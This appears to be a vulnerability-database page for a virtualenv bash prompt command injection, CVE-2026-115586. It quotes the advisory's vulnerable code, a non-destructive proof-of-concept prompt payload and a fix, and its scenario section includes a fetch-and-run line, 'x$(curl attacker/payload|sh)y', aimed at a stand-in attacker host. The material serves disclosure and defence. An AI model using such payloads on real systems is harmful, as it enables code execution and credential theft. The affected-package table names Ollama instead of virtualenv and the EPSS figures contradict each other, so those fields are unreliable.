CVE-2026-115586: virtualenv: bash prompt injection allows command execution

GHSA-cx6f-vjhg-g3ccHIGH
Published October 23, 2026
CISO Take

virtualenv 21.14.9 through 21.14.12 contain a regression in the bash activation script that stores the user-supplied --prompt value in PS1 without escaping, so a prompt like x$(id)y runs as a command once bash prompt expansion is re-enabled (shopt -s promptvars, set -o posix, or an interactive child bash inheriting the exported PS1). The package is a foundational dependency with 1,806 downstream dependents and a 84/100 package risk score, and virtualenv sits under most Python ML tooling, training environments, and CI pipelines. Exploitation needs an attacker-influenced prompt value (for example project metadata or tool config) and a victim who activates the environment with promptvars disabled, so the realistic blast radius is developer workstations and build hosts rather than internet-facing services. There is no public exploit, no Nuclei template, no KISS listing, and EPSS and CVSS data are not yet published, so treat this as a high-severity supply-chain-adjacent issue rather than an emergency. Upgrade to virtualenv 21.14.13, and until then set VIRTUAL_ENV_DISABLE_PROMPT=1 and refuse untrusted --prompt values.

Sources:NVDGitHub AdvisoryATLASpypa/virtualenv

What is the risk?

Rated high by the advisory (CWE-78, OS command injection). Exploitation is conditional: it needs an attacker-controlled --prompt value, activation with promptvars off, and a later prompt redraw with expansion enabled. Impact is code execution as the activating user, with no privilege escalation. The payload persists in pyvenv.cfg and the generated activate script, so it can fire in a later shell session. No known exploitation, no public weaponized exploit (the advisory PoC is non-destructive), and no CISA KEV listing. EPSS and CVSS are not available. Exposure is concentrated in developer, data science, and CI environments that build ML environments from third-party templates or project configs.

How does the attack unfold?

Initial Access
Attacker plants a malicious --prompt value in project metadata, a template, or tool config that the victim uses to create a virtualenv.
AML.T0010.001
User Execution
Victim sources bin/activate in a bash session with promptvars disabled, storing the raw payload in PS1.
AML.T0011
Exploitation
Re-enabling promptvars or posix mode, or launching an interactive child bash, expands PS1 and runs the command substitution.
AML.T0050
Impact
Attacker code runs as the developer or CI user, exposing credentials, source code, models, and data.

What systems are affected?

PackageEcosystemVulnerable RangePatched
Ollamapip>= 21.14.9, < 21.14.1321.14.13
184.7K1.8K dependentsPushed 7d ago19% patched~29d to patchFull package profile →

Do you use Ollama? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.3%
chance of exploitation in 30 days
Higher than 19% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.13 or later (fixes escaping of $, backtick and backslash in the bash activator). 2) Until patched, set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, or leave bash promptvars at its default. 3) Never pass untrusted or repository-derived values to --prompt or the prompt API argument; audit templates, tox/nox configs, and scaffolding tools that set it. 4) Inventory existing venvs: grep pyvenv.cfg and bin/activate files for VIRTUAL_ENV_PROMPT values containing $( or backticks, and recreate any that do. 5) Detection: monitor for unexpected child processes spawned by interactive shells at prompt redraw on developer hosts and CI runners, and for new files in /tmp created around venv activation. 6) Pin virtualenv versions in CI images and track GHSA-cx6f-vjhg-g3cc.

What does CISA's SSVC say?

DecisionTrack
Exploitationnone
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
GOVERN 6.1-Policies and procedures address AI risks from third-party software and data
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-115586?

virtualenv 21.14.9 through 21.14.12 contain a regression in the bash activation script that stores the user-supplied --prompt value in PS1 without escaping, so a prompt like x$(id)y runs as a command once bash prompt expansion is re-enabled (shopt -s promptvars, set -o posix, or an interactive child bash inheriting the exported PS1). The package is a foundational dependency with 1,806 downstream dependents and a 84/100 package risk score, and virtualenv sits under most Python ML tooling, training environments, and CI pipelines. Exploitation needs an attacker-influenced prompt value (for example project metadata or tool config) and a victim who activates the environment with promptvars disabled, so the realistic blast radius is developer workstations and build hosts rather than internet-facing services. There is no public exploit, no Nuclei template, no KISS listing, and EPSS and CVSS data are not yet published, so treat this as a high-severity supply-chain-adjacent issue rather than an emergency. Upgrade to virtualenv 21.14.13, and until then set VIRTUAL_ENV_DISABLE_PROMPT=1 and refuse untrusted --prompt values.

Is CVE-2026-115586 actively exploited?

No confirmed active exploitation of CVE-2026-115586 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-115586?

1) Upgrade virtualenv to 21.14.13 or later (fixes escaping of $, backtick and backslash in the bash activator). 2) Until patched, set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, or leave bash promptvars at its default. 3) Never pass untrusted or repository-derived values to --prompt or the prompt API argument; audit templates, tox/nox configs, and scaffolding tools that set it. 4) Inventory existing venvs: grep pyvenv.cfg and bin/activate files for VIRTUAL_ENV_PROMPT values containing $( or backticks, and recreate any that do. 5) Detection: monitor for unexpected child processes spawned by interactive shells at prompt redraw on developer hosts and CI runners, and for new files in /tmp created around venv activation. 6) Pin virtualenv versions in CI images and track GHSA-cx6f-vjhg-g3cc.

What systems are affected by CVE-2026-115586?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD build environments, developer workstations, model serving build pipelines, notebook environments.

What is the CVSS score for CVE-2026-115586?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

training pipelinesCI/CD build environmentsdeveloper workstationsmodel serving build pipelinesnotebook environments

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0011User Execution
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.10.3
NIST AI RMF: GOVERN 6.1
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`. This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off. ## Affected area Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`. ## Attacker-controlled input The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick. Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment. ## Details Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160) ```sh if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] && { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then _OLD_VIRTUAL_PS1="${PS1-}" # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and # backslashes need doubling. ... if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}" else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" unset _VIRTUAL_PROMPT fi fi ``` Two separate mistakes combine: 1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation. 2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch. The rendered prompt shows the regression directly: ``` 21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) <- escaped, inert 21.14.9 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value 21.14.12 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value ``` Relevant commit: [`5f48d711` "fix(bash): preserve literal prompts in supported shells (#3418)"](https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22), which removed the unconditional `$`/backtick escaping from the bash path. Advisory for that change: [GHSA-6w3r-xr62-4xcp](https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp). ## Proof of concept Non-destructive payload: it runs `id` and writes the output to a file. ```bash python -m virtualenv --no-seed --no-periodic-update --activators bash \ --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo cat > /tmp/rc <<'EOF' shopt -u promptvars . /tmp/venv-demo/bin/activate shopt -s promptvars EOF # the prompt needs a tty; script(1) provides one printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null cat /tmp/ve-pwn ``` Observed on 21.14.12: ``` $ cat /tmp/ve-pwn uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama) ``` The prompt printed as `(xy)`. The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does. Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled: | After `. bin/activate` (activated with `shopt -u promptvars`) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | `shopt -s promptvars` | inert | executes | executes | | `set -o posix` | inert | executes | executes | | `export PS1`, then start an interactive child `bash` (its `promptvars` defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with `set -o posix` already on | inert | inert | inert | The third trigger needs no explicit option change: the poisoned `PS1` is inherited and the child bash expands it on its first prompt. `shopt -u promptvars` is a documented way to make an expensive bash prompt cheap and appears in `~/.bashrc` files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in `PS1`. ## Impact Command execution as the user who sources `bin/activate`, from a value the user may not have written (project metadata or tool config reaching `--prompt`). The value is also persisted in `pyvenv.cfg` and in the generated script, so it survives the activation that created it and fires later, in a different shell session, on the first prompt redraw with expansion enabled. No privilege elevation beyond the activating user. Severity: high, matching GHSA-5vjq-rrrf-7h2q for the same class of prompt-expansion command injection reached by toggling a shell option after activation. If you consider the `promptvars` state a caller-controlled condition rather than a shell condition, this is medium; the fix is the same either way. ## Versions tested virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. `--prompt` handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report. ## Known mitigation For a user: activate with `promptvars` left at its default, or set `VIRTUAL_ENV_DISABLE_PROMPT=1` before activating, which skips the whole prompt block. Do not pass an untrusted value to `--prompt`. Fix in the activator: escape `$` and the backtick for bash as well, in both branches, with a single backslash (`$` -> `\$`, backtick -> ``\` ``, `\` -> `\\`). Verified on bash 5.1.16 that a `PS1` built that way is inert with `promptvars` on, with `promptvars` off, and with `promptvars` off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten. ```sh else _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}" _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}" if [ -n "${ZSH_VERSION-}" ]; then _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}" fi PS1="(${_VIRTUAL_PROMPT}) ${PS1-}" ``` For the tests, `tests/unit/activation/test_bash.py::test_bash_prompt_options` already parametrises `("before", "after", "expected")` and covers `before="shopt -u promptvars"` with `after=""`. The missing axis is the transition: `("shopt -u promptvars", "shopt -s promptvars", ...)` and `("shopt -u promptvars", "set -o posix", ...)`, with the existing `PWNED` check asserting no file was created. ## Latest release - [x] The problem reproduces on the latest virtualenv release.

Exploitation Scenario

An attacker contributes or compromises a project template or repository config for an ML project that sets the virtualenv prompt to a value such as x$(curl attacker/payload|sh)y. A data scientist or CI job runs virtualenv with that prompt and later sources bin/activate in a shell where their dotfiles have run shopt -u promptvars for a faster prompt. When they start an interactive child bash, or re-enable promptvars or posix mode, the next prompt draw executes the command substitution, giving the attacker code execution as that user and access to cloud credentials, API keys, and training data on the machine.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

Timeline

Published
October 23, 2026
Last Modified
October 23, 2026
First Seen
October 24, 2026

Related Vulnerabilities